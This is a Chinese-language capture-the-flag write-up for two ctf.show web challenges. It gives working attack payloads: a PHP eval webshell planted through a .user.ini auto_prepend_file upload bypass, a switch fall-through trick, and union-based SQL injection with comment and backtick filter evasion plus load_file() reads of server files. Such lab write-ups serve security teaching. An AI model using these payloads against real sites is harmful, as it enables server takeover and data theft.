CTF_show平台 web题解 part3
Posted Hello World
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF_show平台 web题解 part3相关的知识,希望对你有一定的参考价值。
web13
题目显示文件上传,各类型上传均提示错误,在使用ctf-scan扫描的时候,发现upload.php.bak
。
查看源码:
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES[‘file‘][‘name‘];
$temp_name = $_FILES[‘file‘][‘tmp_name‘];
$size = $_FILES[‘file‘][‘size‘];
$error = $_FILES[‘file‘][‘error‘];
$arr = pathinfo($filename);
$ext_suffix = $arr[‘extension‘];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, ‘./‘.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
阅读源码,上传限制:
- 文件大小小于等于24
- 文件名长度小于等于9
- 后缀长度小于等于3
- 文件名和后缀名均不能存在php
可以将<?php eval($_POST[‘a‘]);
写入1.txt
文件,但是由于后缀问题服务器无法解析该php语句。
- 上传1.txt
- 上传
.user.ini
文件 - 菜刀连接
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini
中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =1.txt
,这样在该目录下的所有文件都会包含1.txt的内容。
菜刀连接上之后发现没有权限,只能尝试在网页上访问。
将<?php eval($_GET[‘a‘]);
写入1.txt
文件,上传。
使用payload:?a=print_r(glob(‘*‘));
Array (
[0] => 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php
[1] => a.txt
[2] => index.php
[3] => upload.php
[4] => upload.php.bak
)
使用highlight
查看文件。
?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
得到flag。
web14
<?php
include("secret.php");
if(isset($_GET[‘c‘])){
$c = intval($_GET[‘c‘]);
sleep($c);
switch ($c) {
case 1:
echo ‘$url‘;
break;
case 2:
echo ‘@A@‘;
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo ‘@A@‘;
break;
case 222:
echo ‘@A@‘;
break;
case 3333:
echo $url;
break;
case 44444:
echo ‘@A@‘;
case 555555:
echo $url;
break;
case 3:
echo ‘@A@‘;
case 6000000:
echo "$url";
case 1:
echo ‘@A@‘;
break;
}
}
highlight_file(__FILE__);
switch case语句中如果某一项没有break语句,就有可能出现非预期的结果。
这里构造payload:?c=3
,就可以获得想要的结果:
@A@here_1s_your_f1ag.php@A@
第二个网页是一个查询页面,可能是sql注入。先查看源代码,发现提示:
<!--
if(preg_match(‘/information_schema.tables|information_schema.columns|linestring| |polygon/is‘, $_GET[‘query‘])){
die(‘@A@‘);
}
-->
过滤了information_schema.tables
,information_schema.columns
,linestring
, 空格
,polygon
,
可以使用反引号绕过部分过滤:
information_schema.tables
information_schema.`tables`
这两句话等价
查询过程:
数据库名: ?query=-1/**/union/**/select/**/database()
OUTPUT: web
表名: ?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
OUTPUT: content
列名: ?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name=‘content‘
OUTPUT: id,username,password
值: ?query=-1/**/union/**/select/**/concat_ws(0x24,id,username,password)/**/from/**/content/**/where/**/id=1
OUTPUT:
1$admin$flag is not here!
2$gtf1y$wow,you can really dance
3$Wow$tell you a secret,secret has a secret...
没有flag,通过第三条数据,猜测flag在secret.php
中,使用load_file()
读取本地文件:
?query=-1/**/union/**/select/**/load_file(‘/var/www/html/secret.php‘)
获得信息:
<script>
alert(‘<!-- ReadMe -->
<?php
$url = ‘here_1s_your_f1ag.php‘;
$file = ‘/tmp/gtf1y‘;
if(trim(@file_get_contents($file)) === ‘ctf.show‘){
echo file_get_contents(‘/real_flag_is_here‘);
}‘)</script>
读取真实flag:
?query=-1/**/union/**/select/**/load_file(‘/real_flag_is_here‘)
获得flag。
以上是关于CTF_show平台 web题解 part3的主要内容,如果未能解决你的问题,请参考以下文章
[Cypress] install, configure, and script Cypress for JavaScript web applications -- part3
Web API---DOM---part2复习和part3课程介绍